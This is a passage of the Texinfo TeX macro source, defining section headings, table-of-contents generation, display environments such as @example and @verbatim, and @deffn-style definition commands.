#1\par}% }% \nobreak\bigskip % no page break after a chapter title \nobreak } % @centerchap -- centered and unnumbered. \let\centerparametersmaybe = \relax \def\centerparameters{% \advance\rightskip by 3\rightskip \leftskip = \rightskip \parfillskip = 0pt } % I don't think this chapter style is supported any more, so I'm not % updating it with the new noderef stuff. We'll see. --karl, 11aug03. % \def\setchapterstyle #1 {\csname CHAPF#1\endcsname} % \def\unnchfopen #1{% \chapoddpage {\chapfonts \vbox{\hyphenpenalty=10000\tolerance=5000 \parindent=0pt\raggedright \rm #1\hfill}}\bigskip \par\nobreak } \def\chfopen #1#2{\chapoddpage {\chapfonts \vbox to 3in{\vfil \hbox to\hsize{\hfil #2} \hbox to\hsize{\hfil #1} \vfil}}% \par\penalty 5000 % } \def\centerchfopen #1{% \chapoddpage {\chapfonts \vbox{\hyphenpenalty=10000\tolerance=5000 \parindent=0pt \hfill {\rm #1}\hfill}}\bigskip \par\nobreak } \def\CHAPFopen{% \global\let\chapmacro=\chfopen \global\let\centerchapmacro=\centerchfopen} % Section titles. These macros combine the section number parts and % call the generic \sectionheading to do the printing. % \newskip\secheadingskip \def\secheadingbreak{\dobreak \secheadingskip{-1000}} % Subsection titles. \newskip\subsecheadingskip \def\subsecheadingbreak{\dobreak \subsecheadingskip{-500}} % Subsubsection titles. \def\subsubsecheadingskip{\subsecheadingskip} \def\subsubsecheadingbreak{\subsecheadingbreak} % Print any size, any type, section title. % % #1 is the text, #2 is the section level (sec/subsec/subsubsec), #3 is % the section type for xrefs (Ynumbered, Ynothing, Yappendix), #4 is the % section number. % \def\sectionheading#1#2#3#4{% {% % Switch to the right set of fonts. \csname #2fonts\endcsname \rm % % Insert space above the heading. \csname #2headingbreak\endcsname % % Only insert the space after the number if we have a section number. \def\sectionlevel{#2}% \def\temptype{#3}% % \ifx\temptype\Ynothingkeyword \setbox0 = \hbox{}% \def\toctype{unn}% \gdef\thissection{#1}% \else\ifx\temptype\Yomitfromtockeyword % for @headings -- no section number, don't include in toc, % and don't redefine \thissection. \setbox0 = \hbox{}% \def\toctype{omit}% \let\sectionlevel=\empty \else\ifx\temptype\Yappendixkeyword \setbox0 = \hbox{#4\enspace}% \def\toctype{app}% \gdef\thissection{#1}% \else \setbox0 = \hbox{#4\enspace}% \def\toctype{num}% \gdef\thissection{#1}% \fi\fi\fi % % Write the toc entry (before \donoderef). See comments in \chfplain. \writetocentry{\toctype\sectionlevel}{#1}{#4}% % % Write the node reference (= pdf destination for pdftex). % Again, see comments in \chfplain. \donoderef{#3}% % % Output the actual section heading. \vbox{\hyphenpenalty=10000 \tolerance=5000 \parindent=0pt \raggedright \hangindent=\wd0 % zero if no section number \unhbox0 #1}% }% % Add extra space after the heading -- half of whatever came above it. % Don't allow stretch, though. \kern .5 \csname #2headingskip\endcsname % % Do not let the kern be a potential breakpoint, as it would be if it % was followed by glue. \nobreak % % We'll almost certainly start a paragraph next, so don't let that % glue accumulate. (Not a breakpoint because it's preceded by a % discardable item.) \vskip-\parskip % % This is purely so the last item on the list is a known \penalty > % 10000. This is so \startdefun can avoid allowing breakpoints after % section headings. Otherwise, it would insert a valid breakpoint between: % % @section sec-whatever % @deffn def-whatever \penalty 10001 } \message{toc,} % Table of contents. \newwrite\tocfile % Write an entry to the toc file, opening it if necessary. % Called from @chapter, etc. % % Example usage: \writetocentry{sec}{Section Name}{\the\chapno.\the\secno} % We append the current node name (if any) and page number as additional % arguments for the \{chap,sec,...}entry macros which will eventually % read this. The node name is used in the pdf outlines as the % destination to jump to. % % We open the .toc file for writing here instead of at @setfilename (or % any other fixed time) so that @contents can be anywhere in the document. % But if #1 is `omit', then we don't do anything. This is used for the % table of contents chapter openings themselves. % \newif\iftocfileopened \def\omitkeyword{omit}% % \def\writetocentry#1#2#3{% \edef\writetoctype{#1}% \ifx\writetoctype\omitkeyword \else \iftocfileopened\else \immediate\openout\tocfile = \jobname.toc \global\tocfileopenedtrue \fi % \iflinks {\atdummies \edef\temp{% \write\tocfile{@#1entry{#2}{#3}{\lastnode}{\noexpand\folio}}}% \temp } \fi \fi % % Tell \shipout to create a pdf destination on each page, if we're % writing pdf. These are used in the table of contents. We can't % just write one on every page because the title pages are numbered % 1 and 2 (the page numbers aren't printed), and so are the first % two pages of the document. Thus, we'd have two destinations named % `1', and two named `2'. \ifpdf \global\pdfmakepagedesttrue \fi } % These characters do not print properly in the Computer Modern roman % fonts, so we must take special care. This is more or less redundant % with the Texinfo input format setup at the end of this file. % \def\activecatcodes{% \catcode`\"=\active \catcode`\$=\active \catcode`\<=\active \catcode`\>=\active \catcode`\\=\active \catcode`\^=\active \catcode`\_=\active \catcode`\|=\active \catcode`\~=\active } % Read the toc file, which is essentially Texinfo input. \def\readtocfile{% \setupdatafile \activecatcodes \input \jobname.toc } \newskip\contentsrightmargin \contentsrightmargin=1in \newcount\savepageno \newcount\lastnegativepageno \lastnegativepageno = -1 % Prepare to read what we've written to \tocfile. % \def\startcontents#1{% % If @setchapternewpage on, and @headings double, the contents should % start on an odd page, unlike chapters. Thus, we maintain % \contentsalignmacro in parallel with \pagealignmacro. % From: Torbjorn Granlund \contentsalignmacro \immediate\closeout\tocfile % % Don't need to put `Contents' or `Short Contents' in the headline. % It is abundantly clear what they are. \def\thischapter{}% \chapmacro{#1}{Yomitfromtoc}{}% % \savepageno = \pageno \begingroup % Set up to handle contents files properly. \raggedbottom % Worry more about breakpoints than the bottom. \advance\hsize by -\contentsrightmargin % Don't use the full line length. % % Roman numerals for page numbers. \ifnum \pageno>0 \global\pageno = \lastnegativepageno \fi } % Normal (long) toc. \def\contents{% \startcontents{\putwordTOC}% \openin 1 \jobname.toc \ifeof 1 \else \readtocfile \fi \vfill \eject \contentsalignmacro % in case @setchapternewpage odd is in effect \ifeof 1 \else \pdfmakeoutlines \fi \closein 1 \endgroup \lastnegativepageno = \pageno \global\pageno = \savepageno } % And just the chapters. \def\summarycontents{% \startcontents{\putwordShortTOC}% % \let\numchapentry = \shortchapentry \let\appentry = \shortchapentry \let\unnchapentry = \shortunnchapentry % We want a true roman here for the page numbers. \secfonts \let\rm=\shortcontrm \let\bf=\shortcontbf \let\sl=\shortcontsl \let\tt=\shortconttt \rm \hyphenpenalty = 10000 \advance\baselineskip by 1pt % Open it up a little. \def\numsecentry##1##2##3##4{} \let\appsecentry = \numsecentry \let\unnsecentry = \numsecentry \let\numsubsecentry = \numsecentry \let\appsubsecentry = \numsecentry \let\unnsubsecentry = \numsecentry \let\numsubsubsecentry = \numsecentry \let\appsubsubsecentry = \numsecentry \let\unnsubsubsecentry = \numsecentry \openin 1 \jobname.toc \ifeof 1 \else \readtocfile \fi \closein 1 \vfill \eject \contentsalignmacro % in case @setchapternewpage odd is in effect \endgroup \lastnegativepageno = \pageno \global\pageno = \savepageno } \let\shortcontents = \summarycontents % Typeset the label for a chapter or appendix for the short contents. % The arg is, e.g., `A' for an appendix, or `3' for a chapter. % \def\shortchaplabel#1{% % This space should be enough, since a single number is .5em, and the % widest letter (M) is 1em, at least in the Computer Modern fonts. % But use \hss just in case. % (This space doesn't include the extra space that gets added after % the label; that gets put in by \shortchapentry above.) % % We'd like to right-justify chapter numbers, but that looks strange % with appendix letters. And right-justifying numbers and % left-justifying letters looks strange when there is less than 10 % chapters. Have to read the whole toc once to know how many chapters % there are before deciding ... \hbox to 1em{#1\hss}% } % These macros generate individual entries in the table of contents. % The first argument is the chapter or section name. % The last argument is the page number. % The arguments in between are the chapter number, section number, ... % Chapters, in the main contents. \def\numchapentry#1#2#3#4{\dochapentry{#2\labelspace#1}{#4}} % % Chapters, in the short toc. % See comments in \dochapentry re vbox and related settings. \def\shortchapentry#1#2#3#4{% \tocentry{\shortchaplabel{#2}\labelspace #1}{\doshortpageno\bgroup#4\egroup}% } % Appendices, in the main contents. % Need the word Appendix, and a fixed-size box. % \def\appendixbox#1{% % We use M since it's probably the widest letter. \setbox0 = \hbox{\putwordAppendix{} M}% \hbox to \wd0{\putwordAppendix{} #1\hss}} % \def\appentry#1#2#3#4{\dochapentry{\appendixbox{#2}\labelspace#1}{#4}} % Unnumbered chapters. \def\unnchapentry#1#2#3#4{\dochapentry{#1}{#4}} \def\shortunnchapentry#1#2#3#4{\tocentry{#1}{\doshortpageno\bgroup#4\egroup}} % Sections. \def\numsecentry#1#2#3#4{\dosecentry{#2\labelspace#1}{#4}} \let\appsecentry=\numsecentry \def\unnsecentry#1#2#3#4{\dosecentry{#1}{#4}} % Subsections. \def\numsubsecentry#1#2#3#4{\dosubsecentry{#2\labelspace#1}{#4}} \let\appsubsecentry=\numsubsecentry \def\unnsubsecentry#1#2#3#4{\dosubsecentry{#1}{#4}} % And subsubsections. \def\numsubsubsecentry#1#2#3#4{\dosubsubsecentry{#2\labelspace#1}{#4}} \let\appsubsubsecentry=\numsubsubsecentry \def\unnsubsubsecentry#1#2#3#4{\dosubsubsecentry{#1}{#4}} % This parameter controls the indentation of the various levels. % Same as \defaultparindent. \newdimen\tocindent \tocindent = 15pt % Now for the actual typesetting. In all these, #1 is the text and #2 is the % page number. % % If the toc has to be broken over pages, we want it to be at chapters % if at all possible; hence the \penalty. \def\dochapentry#1#2{% \penalty-300 \vskip1\baselineskip plus.33\baselineskip minus.25\baselineskip \begingroup \chapentryfonts \tocentry{#1}{\dopageno\bgroup#2\egroup}% \endgroup \nobreak\vskip .25\baselineskip plus.1\baselineskip } \def\dosecentry#1#2{\begingroup \secentryfonts \leftskip=\tocindent \tocentry{#1}{\dopageno\bgroup#2\egroup}% \endgroup} \def\dosubsecentry#1#2{\begingroup \subsecentryfonts \leftskip=2\tocindent \tocentry{#1}{\dopageno\bgroup#2\egroup}% \endgroup} \def\dosubsubsecentry#1#2{\begingroup \subsubsecentryfonts \leftskip=3\tocindent \tocentry{#1}{\dopageno\bgroup#2\egroup}% \endgroup} % We use the same \entry macro as for the index entries. \let\tocentry = \entry % Space between chapter (or whatever) number and the title. \def\labelspace{\hskip1em \relax} \def\dopageno#1{{\rm #1}} \def\doshortpageno#1{{\rm #1}} \def\chapentryfonts{\secfonts \rm} \def\secentryfonts{\textfonts} \def\subsecentryfonts{\textfonts} \def\subsubsecentryfonts{\textfonts} \message{environments,} % @foo ... @end foo. % @point{}, @result{}, @expansion{}, @print{}, @equiv{}. % % Since these characters are used in examples, it should be an even number of % \tt widths. Each \tt character is 1en, so two makes it 1em. % \def\point{$\star$} \def\result{\leavevmode\raise.15ex\hbox to 1em{\hfil$\Rightarrow$\hfil}} \def\expansion{\leavevmode\raise.1ex\hbox to 1em{\hfil$\mapsto$\hfil}} \def\print{\leavevmode\lower.1ex\hbox to 1em{\hfil$\dashv$\hfil}} \def\equiv{\leavevmode\lower.1ex\hbox to 1em{\hfil$\ptexequiv$\hfil}} % The @error{} command. % Adapted from the TeXbook's \boxit. % \newbox\errorbox % {\tentt \global\dimen0 = 3em}% Width of the box. \dimen2 = .55pt % Thickness of rules % The text. (`r' is open on the right, `e' somewhat less so on the left.) \setbox0 = \hbox{\kern-.75pt \tensf error\kern-1.5pt} % \setbox\errorbox=\hbox to \dimen0{\hfil \hsize = \dimen0 \advance\hsize by -5.8pt % Space to left+right. \advance\hsize by -2\dimen2 % Rules. \vbox{% \hrule height\dimen2 \hbox{\vrule width\dimen2 \kern3pt % Space to left of text. \vtop{\kern2.4pt \box0 \kern2.4pt}% Space above/below. \kern3pt\vrule width\dimen2}% Space to right. \hrule height\dimen2} \hfil} % \def\error{\leavevmode\lower.7ex\copy\errorbox} % @tex ... @end tex escapes into raw Tex temporarily. % One exception: @ is still an escape character, so that @end tex works. % But \@ or @@ will get a plain tex @ character. \envdef\tex{% \catcode `\\=0 \catcode `\{=1 \catcode `\}=2 \catcode `\$=3 \catcode `\&=4 \catcode `\#=6 \catcode `\^=7 \catcode `\_=8 \catcode `\~=\active \let~=\tie \catcode `\%=14 \catcode `\+=\other \catcode `\"=\other \catcode `\|=\other \catcode `\<=\other \catcode `\>=\other \escapechar=`\\ % \let\b=\ptexb \let\bullet=\ptexbullet \let\c=\ptexc \let\,=\ptexcomma \let\.=\ptexdot \let\dots=\ptexdots \let\equiv=\ptexequiv \let\!=\ptexexclam \let\i=\ptexi \let\indent=\ptexindent \let\noindent=\ptexnoindent \let\{=\ptexlbrace \let\+=\tabalign \let\}=\ptexrbrace \let\/=\ptexslash \let\*=\ptexstar \let\t=\ptext \let\frenchspacing=\plainfrenchspacing % \def\endldots{\mathinner{\ldots\ldots\ldots\ldots}}% \def\enddots{\relax\ifmmode\endldots\else$\mathsurround=0pt \endldots\,$\fi}% \def\@{@}% } % There is no need to define \Etex. % Define @lisp ... @end lisp. % @lisp environment forms a group so it can rebind things, % including the definition of @end lisp (which normally is erroneous). % Amount to narrow the margins by for @lisp. \newskip\lispnarrowing \lispnarrowing=0.4in % This is the definition that ^^M gets inside @lisp, @example, and other % such environments. \null is better than a space, since it doesn't % have any width. \def\lisppar{\null\endgraf} % This space is always present above and below environments. \newskip\envskipamount \envskipamount = 0pt % Make spacing and below environment symmetrical. We use \parskip here % to help in doing that, since in @example-like environments \parskip % is reset to zero; thus the \afterenvbreak inserts no space -- but the % start of the next paragraph will insert \parskip. % \def\aboveenvbreak{{% % =10000 instead of <10000 because of a special case in \itemzzz and % \sectionheading, q.v. \ifnum \lastpenalty=10000 \else \advance\envskipamount by \parskip \endgraf \ifdim\lastskip<\envskipamount \removelastskip % it's not a good place to break if the last penalty was \nobreak % or better ... \ifnum\lastpenalty<10000 \penalty-50 \fi \vskip\envskipamount \fi \fi }} \let\afterenvbreak = \aboveenvbreak % \nonarrowing is a flag. If "set", @lisp etc don't narrow margins; it will % also clear it, so that its embedded environments do the narrowing again. \let\nonarrowing=\relax % @cartouche ... @end cartouche: draw rectangle w/rounded corners around % environment contents. \font\circle=lcircle10 \newdimen\circthick \newdimen\cartouter\newdimen\cartinner \newskip\normbskip\newskip\normpskip\newskip\normlskip \circthick=\fontdimen8\circle % \def\ctl{{\circle\char'013\hskip -6pt}}% 6pt from pl file: 1/2charwidth \def\ctr{{\hskip 6pt\circle\char'010}} \def\cbl{{\circle\char'012\hskip -6pt}} \def\cbr{{\hskip 6pt\circle\char'011}} \def\carttop{\hbox to \cartouter{\hskip\lskip \ctl\leaders\hrule height\circthick\hfil\ctr \hskip\rskip}} \def\cartbot{\hbox to \cartouter{\hskip\lskip \cbl\leaders\hrule height\circthick\hfil\cbr \hskip\rskip}} % \newskip\lskip\newskip\rskip \envdef\cartouche{% \ifhmode\par\fi % can't be in the midst of a paragraph. \startsavinginserts \lskip=\leftskip \rskip=\rightskip \leftskip=0pt\rightskip=0pt % we want these *outside*. \cartinner=\hsize \advance\cartinner by-\lskip \advance\cartinner by-\rskip \cartouter=\hsize \advance\cartouter by 18.4pt % allow for 3pt kerns on either % side, and for 6pt waste from % each corner char, and rule thickness \normbskip=\baselineskip \normpskip=\parskip \normlskip=\lineskip % Flag to tell @lisp, etc., not to narrow margin. \let\nonarrowing = t% \vbox\bgroup \baselineskip=0pt\parskip=0pt\lineskip=0pt \carttop \hbox\bgroup \hskip\lskip \vrule\kern3pt \vbox\bgroup \kern3pt \hsize=\cartinner \baselineskip=\normbskip \lineskip=\normlskip \parskip=\normpskip \vskip -\parskip \comment % For explanation, see the end of \def\group. } \def\Ecartouche{% \ifhmode\par\fi \kern3pt \egroup \kern3pt\vrule \hskip\rskip \egroup \cartbot \egroup \checkinserts } % This macro is called at the beginning of all the @example variants, % inside a group. \def\nonfillstart{% \aboveenvbreak \hfuzz = 12pt % Don't be fussy \sepspaces % Make spaces be word-separators rather than space tokens. \let\par = \lisppar % don't ignore blank lines \obeylines % each line of input is a line of output \parskip = 0pt \parindent = 0pt \emergencystretch = 0pt % don't try to avoid overfull boxes \ifx\nonarrowing\relax \advance \leftskip by \lispnarrowing \exdentamount=\lispnarrowing \else \let\nonarrowing = \relax \fi \let\exdent=\nofillexdent } % If you want all examples etc. small: @set dispenvsize small. % If you want even small examples the full size: @set dispenvsize nosmall. % This affects the following displayed environments: % @example, @display, @format, @lisp % \def\smallword{small} \def\nosmallword{nosmall} \let\SETdispenvsize\relax \def\setnormaldispenv{% \ifx\SETdispenvsize\smallword \smallexamplefonts \rm \fi } \def\setsmalldispenv{% \ifx\SETdispenvsize\nosmallword \else \smallexamplefonts \rm \fi } % We often define two environments, @foo and @smallfoo. % Let's do it by one command: \def\makedispenv #1#2{ \expandafter\envdef\csname#1\endcsname {\setnormaldispenv #2} \expandafter\envdef\csname small#1\endcsname {\setsmalldispenv #2} \expandafter\let\csname E#1\endcsname \afterenvbreak \expandafter\let\csname Esmall#1\endcsname \afterenvbreak } % Define two synonyms: \def\maketwodispenvs #1#2#3{ \makedispenv{#1}{#3} \makedispenv{#2}{#3} } % @lisp: indented, narrowed, typewriter font; @example: same as @lisp. % % @smallexample and @smalllisp: use smaller fonts. % Originally contributed by Pavel@xerox. % \maketwodispenvs {lisp}{example}{% \nonfillstart \tt \let\kbdfont = \kbdexamplefont % Allow @kbd to do something special. \gobble % eat return } % @display/@smalldisplay: same as @lisp except keep current font. % \makedispenv {display}{% \nonfillstart \gobble } % @format/@smallformat: same as @display except don't narrow margins. % \makedispenv{format}{% \let\nonarrowing = t% \nonfillstart \gobble } % @flushleft: same as @format, but doesn't obey \SETdispenvsize. \envdef\flushleft{% \let\nonarrowing = t% \nonfillstart \gobble } \let\Eflushleft = \afterenvbreak % @flushright. % \envdef\flushright{% \let\nonarrowing = t% \nonfillstart \advance\leftskip by 0pt plus 1fill \gobble } \let\Eflushright = \afterenvbreak % @quotation does normal linebreaking (hence we can't use \nonfillstart) % and narrows the margins. We keep \parskip nonzero in general, since % we're doing normal filling. So, when using \aboveenvbreak and % \afterenvbreak, temporarily make \parskip 0. % \envdef\quotation{% {\parskip=0pt \aboveenvbreak}% because \aboveenvbreak inserts \parskip \parindent=0pt % % @cartouche defines \nonarrowing to inhibit narrowing at next level down. \ifx\nonarrowing\relax \advance\leftskip by \lispnarrowing \advance\rightskip by \lispnarrowing \exdentamount = \lispnarrowing \else \let\nonarrowing = \relax \fi \parsearg\quotationlabel } % We have retained a nonzero parskip for the environment, since we're % doing normal filling. % \def\Equotation{% \par \ifx\quotationauthor\undefined\else % indent a bit. \leftline{\kern 2\leftskip \sl ---\quotationauthor}% \fi {\parskip=0pt \afterenvbreak}% } % If we're given an argument, typeset it in bold with a colon after. \def\quotationlabel#1{% \def\temp{#1}% \ifx\temp\empty \else {\bf #1: }% \fi } % LaTeX-like @verbatim...@end verbatim and @verb{...} % If we want to allow any as delimiter, % we need the curly braces so that makeinfo sees the @verb command, eg: % `@verbx...x' would look like the '@verbx' command. --janneke@gnu.org % % [Knuth]: Donald Ervin Knuth, 1996. The TeXbook. % % [Knuth] p.344; only we need to do the other characters Texinfo sets % active too. Otherwise, they get lost as the first character on a % verbatim line. \def\dospecials{% \do\ \do\\\do\{\do\}\do\$\do\&% \do\#\do\^\do\^^K\do\_\do\^^A\do\%\do\~% \do\<\do\>\do\|\do\@\do+\do\"% } % % [Knuth] p. 380 \def\uncatcodespecials{% \def\do##1{\catcode`##1=\other}\dospecials} % % [Knuth] pp. 380,381,391 % Disable Spanish ligatures ?` and !` of \tt font \begingroup \catcode`\`=\active\gdef`{\relax\lq} \endgroup % % Setup for the @verb command. % % Eight spaces for a tab \begingroup \catcode`\^^I=\active \gdef\tabeightspaces{\catcode`\^^I=\active\def^^I{\ \ \ \ \ \ \ \ }} \endgroup % \def\setupverb{% \tt % easiest (and conventionally used) font for verbatim \def\par{\leavevmode\endgraf}% \catcode`\`=\active \tabeightspaces % Respect line breaks, % print special symbols as themselves, and % make each space count % must do in this order: \obeylines \uncatcodespecials \sepspaces } % Setup for the @verbatim environment % % Real tab expansion \newdimen\tabw \setbox0=\hbox{\tt\space} \tabw=8\wd0 % tab amount % \def\starttabbox{\setbox0=\hbox\bgroup} \begingroup \catcode`\^^I=\active \gdef\tabexpand{% \catcode`\^^I=\active \def^^I{\leavevmode\egroup \dimen0=\wd0 % the width so far, or since the previous tab \divide\dimen0 by\tabw \multiply\dimen0 by\tabw % compute previous multiple of \tabw \advance\dimen0 by\tabw % advance to next multiple of \tabw \wd0=\dimen0 \box0 \starttabbox }% } \endgroup \def\setupverbatim{% \let\nonarrowing = t% \nonfillstart % Easiest (and conventionally used) font for verbatim \tt \def\par{\leavevmode\egroup\box0\endgraf}% \catcode`\`=\active \tabexpand % Respect line breaks, % print special symbols as themselves, and % make each space count % must do in this order: \obeylines \uncatcodespecials \sepspaces \everypar{\starttabbox}% } % Do the @verb magic: verbatim text is quoted by unique % delimiter characters. Before first delimiter expect a % right brace, after last delimiter expect closing brace: % % \def\doverb'{'#1'}'{#1} % % [Knuth] p. 382; only eat outer {} \begingroup \catcode`[=1\catcode`]=2\catcode`\{=\other\catcode`\}=\other \gdef\doverb{#1[\def\next##1#1}[##1\endgroup]\next] \endgroup % \def\verb{\begingroup\setupverb\doverb} % % % Do the @verbatim magic: define the macro \doverbatim so that % the (first) argument ends when '@end verbatim' is reached, ie: % % \def\doverbatim#1@end verbatim{#1} % % For Texinfo it's a lot easier than for LaTeX, % because texinfo's \verbatim doesn't stop at '\end{verbatim}': % we need not redefine '\', '{' and '}'. % % Inspired by LaTeX's verbatim command set [latex.ltx] % \begingroup \catcode`\ =\active \obeylines % % ignore everything up to the first ^^M, that's the newline at the end % of the @verbatim input line itself. Otherwise we get an extra blank % line in the output. \xdef\doverbatim#1^^M#2@end verbatim{#2\noexpand\end\gobble verbatim}% % We really want {...\end verbatim} in the body of the macro, but % without the active space; thus we have to use \xdef and \gobble. \endgroup % \envdef\verbatim{% \setupverbatim\doverbatim } \let\Everbatim = \afterenvbreak % @verbatiminclude FILE - insert text of file in verbatim environment. % \def\verbatiminclude{\parseargusing\filenamecatcodes\doverbatiminclude} % \def\doverbatiminclude#1{% {% \makevalueexpandable \setupverbatim \input #1 \afterenvbreak }% } % @copying ... @end copying. % Save the text away for @insertcopying later. % % We save the uninterpreted tokens, rather than creating a box. % Saving the text in a box would be much easier, but then all the % typesetting commands (@smallbook, font changes, etc.) have to be done % beforehand -- and a) we want @copying to be done first in the source % file; b) letting users define the frontmatter in as flexible order as % possible is very desirable. % \def\copying{\checkenv{}\begingroup\scanargctxt\docopying} \def\docopying#1@end copying{\endgroup\def\copyingtext{#1}} % \def\insertcopying{% \begingroup \parindent = 0pt % paragraph indentation looks wrong on title page \scanexp\copyingtext \endgroup } \message{defuns,} % @defun etc. \newskip\defbodyindent \defbodyindent=.4in \newskip\defargsindent \defargsindent=50pt \newskip\deflastargmargin \deflastargmargin=18pt % Start the processing of @deffn: \def\startdefun{% \ifnum\lastpenalty<10000 \medbreak \else % If there are two @def commands in a row, we'll have a \nobreak, % which is there to keep the function description together with its % header. But if there's nothing but headers, we need to allow a % break somewhere. Check specifically for penalty 10002, inserted % by \defargscommonending, instead of 10000, since the sectioning % commands also insert a nobreak penalty, and we don't want to allow % a break between a section heading and a defun. % \ifnum\lastpenalty=10002 \penalty2000 \fi % % Similarly, after a section heading, do not allow a break. % But do insert the glue. \medskip % preceded by discardable penalty, so not a breakpoint \fi % \parindent=0in \advance\leftskip by \defbodyindent \exdentamount=\defbodyindent } \def\dodefunx#1{% % First, check whether we are in the right environment: \checkenv#1% % % As above, allow line break if we have multiple x headers in a row. % It's not a great place, though. \ifnum\lastpenalty=10002 \penalty3000 \fi % % And now, it's time to reuse the body of the original defun: \expandafter\gobbledefun#1% } \def\gobbledefun#1\startdefun{} % \printdefunline \deffnheader{text} % \def\printdefunline#1#2{% \begingroup % call \deffnheader: #1#2 \endheader % common ending: \interlinepenalty = 10000 \advance\rightskip by 0pt plus 1fil \endgraf \nobreak\vskip -\parskip \penalty 10002 % signal to \startdefun and \dodefunx % Some of the @defun-type tags do not enable magic parentheses, % rendering the following check redundant. But we don't optimize. \checkparencounts \endgroup } \def\Edefun{\endgraf\medbreak} % \makedefun{deffn} creates \deffn, \deffnx and \Edeffn; % the only thing remainnig is to define \deffnheader. % \def\makedefun#1{% \expandafter\let\csname E#1\endcsname = \Edefun \edef\temp{\noexpand\domakedefun \makecsname{#1}\makecsname{#1x}\makecsname{#1header}}% \temp } % \domakedefun \deffn \deffnx \deffnheader % % Define \deffn and \deffnx, without parameters. % \deffnheader has to be defined explicitly. % \def\domakedefun#1#2#3{% \envdef#1{% \startdefun \parseargusing\activeparens{\printdefunline#3}% }% \def#2{\dodefunx#1}% \def#3% } %%% Untyped functions: % @deffn category name args \makedefun{deffn}{\deffngeneral{}} % @deffn category class name args \makedefun{defop}#1 {\defopon{#1\ \putwordon}} % \defopon {category on}class name args \def\defopon#1#2 {\deffngeneral{\putwordon\ \code{#2}}{#1\ \code{#2}} } % \deffngeneral {subind}category name args % \def\deffngeneral#1#2 #3 #4\endheader{% % Remember that \dosubind{fn}{foo}{} is equivalent to \doind{fn}{foo}. \dosubind{fn}{\code{#3}}{#1}% \defname{#2}{}{#3}\magicamp\defunargs{#4\unskip}% } %%% Typed functions: % @deftypefn category type name args \makedefun{deftypefn}{\deftypefngeneral{}} % @deftypeop category class type name args \makedefun{deftypeop}#1 {\deftypeopon{#1\ \putwordon}} % \deftypeopon {category on}class type name args \def\deftypeopon#1#2 {\deftypefngeneral{\putwordon\ \code{#2}}{#1\ \code{#2}} } % \deftypefngeneral {subind}category type name args % \def\deftypefngeneral#1#2 #3 #4 #5\endheader{% \dosubind{fn}{\code{#4}}{#1}% \defname{#2}{#3}{#4}\defunargs{#5\unskip}% } %%% Typed variables: % @deftypevr category type var args \makedefun{deftypevr}{\deftypecvgeneral{}} % @deftypecv category class type var args \makedefun{deftypecv}#1 {\deftypecvof{#1\ \putwordof}} % \deftypecvof {category of}class type var args \def\deftypecvof#1#2 {\deftypecvgeneral{\putwordof\ \code{#2}}{#1\ \code{#2}} } % \deftypecvgeneral {subind}category type var args % \def\deftypecvgeneral#1#2 #3 #4 #5\endheader{% \dosubind{vr}{\code{#4}}{#1}% \defname{#2}{#3}{#4}\defunargs{#5\unskip}% } %%% Untyped variables: % @defvr category var args \makedefun{defvr}#1 {\deftypevrheader{#1} {} } % @defcv category class var args \makedefun{defcv}#1 {\defcvof{#1\ \putwordof}} % \defcvof {category of}class var args \def\defcvof#1#2 {\deftypecvof{#1}#2 {} } %%% Type: % @deftp category name args \makedefun{deftp}#1 #2 #3\endheader{% \doind{tp}{\code{#2}}% \defname{#1}{}{#2}\defunargs{#3\unskip}% } % Remaining @defun-like shortcuts: \makedefun{defun}{\deffnheader{\putwordDeffunc} } \makedefun{defmac}{\deffnheader{\putwordDefmac} } \makedefun{defspec}{\deffnheader{\putwordDefspec} } \makedefun{deftypefun}{\deftypefnheader{\putwordDeffunc} } \makedefun{defvar}{\defvrheader{\putwordDefvar} } \makedefun{defopt}{\defvrheader{\putwordDefopt} } \makedefun{deftypevar}{\deftypevrheader{\putwordDefvar} } \makedefun{defmethod}{\defopon\putwordMethodon} \makedefun{deftypemethod}{\deftypeopon\putwordMethodon} \makedefun{defivar}{\defcvof\putwordInstanceVariableof} \makedefun{deftypeivar}{\deftypecvof\putwordInstanceVariableof} % \defname, which formats the name of the @def (not the args). % #1 is the category, such as "Function". % #2 is the return type, if any. % #3 is the function name. % % We are followed by (but not passed) the arguments, if any. % \def\defname#1#2#3{% % Get the values of \leftskip and \rightskip as they were outside the @def... \advance\leftskip by -\defbodyindent % % How we'll format the type name. Putting it in brackets helps % distinguish it from the body text that may end up on the next line % just below it. \def\temp{#1}% \setbox0=\hbox{\kern\deflastargmargin \ifx\temp\empty\else [\rm\temp]\fi} % % Figure out line sizes for the paragraph shape. % The first line needs space for \box0; but if \rightskip is nonzero, % we need only space for the part of \box0 which exceeds it: \dimen0=\hsize \advance\dimen0 by -\wd0 \advance\dimen0 by \rightskip % The continuations: \dimen2=\hsize \advance\dimen2 by -\defargsindent % (plain.tex says that \dimen1 should be used only as global.) \parshape 2 0in \dimen0 \defargsindent \dimen2 % % Put the type name to the right margin. \noindent \hbox to 0pt{% \hfil\box0 \kern-\hsize % \hsize has to be shortened this way: \kern\leftskip % Intentionally do not respect \rightskip, since we need the space. }% % % Allow all lines to be underfull without complaint: \tolerance=10000 \hbadness=10000 \exdentamount=\defbodyindent {% % defun fonts. We use typewriter by default (used to be bold) because: % . we're printing identifiers, they should be in tt in principle. % . in languages with many accents, such as Czech or French, it's % common to leave accents off identifiers. The result looks ok in % tt, but exceedingly strange in rm. % . we don't want -- and --- to be treated as ligatures. % . this still does not fix the ?` and !` ligatures, but so far no % one has made identifiers using them :). \df \tt \def\temp{#2}% return value type \ifx\temp\empty\else \tclose{\temp} \fi #3% output function name }% {\rm\enskip}% hskip 0.5 em of \tenrm % \boldbrax % arguments will be output next, if any. } % Print arguments in slanted roman (not ttsl), inconsistently with using % tt for the name. This is because literal text is sometimes needed in % the argument list (groff manual), and ttsl and tt are not very % distinguishable. Prevent hyphenation at `-' chars. % \def\defunargs#1{% % use sl by default (not ttsl), % tt for the names. \df \sl \hyphenchar\font=0 % % On the other hand, if an argument has two dashes (for instance), we % want a way to get ttsl. Let's try @var for that. \let\var=\ttslanted #1% \sl\hyphenchar\font=45 } % We want ()&[] to print specially on the defun line. % \def\activeparens{% \catcode`\(=\active \catcode`\)=\active \catcode`\[=\active \catcode`\]=\active \catcode`\&=\active } % Make control sequences which act like normal parenthesis chars. \let\lparen = ( \let\rparen = ) % Be sure that we always have a definition for `(', etc. For example, % if the fn name has parens in it, \boldbrax will not be in effect yet, % so TeX would otherwise complain about undefined control sequence. { \activeparens \global\let(=\lparen \global\let)=\rparen \global\let[=\lbrack \global\let]=\rbrack \global\let& = \& \gdef\boldbrax{\let(=\opnr\let)=\clnr\let[=\lbrb\let]=\rbrb} 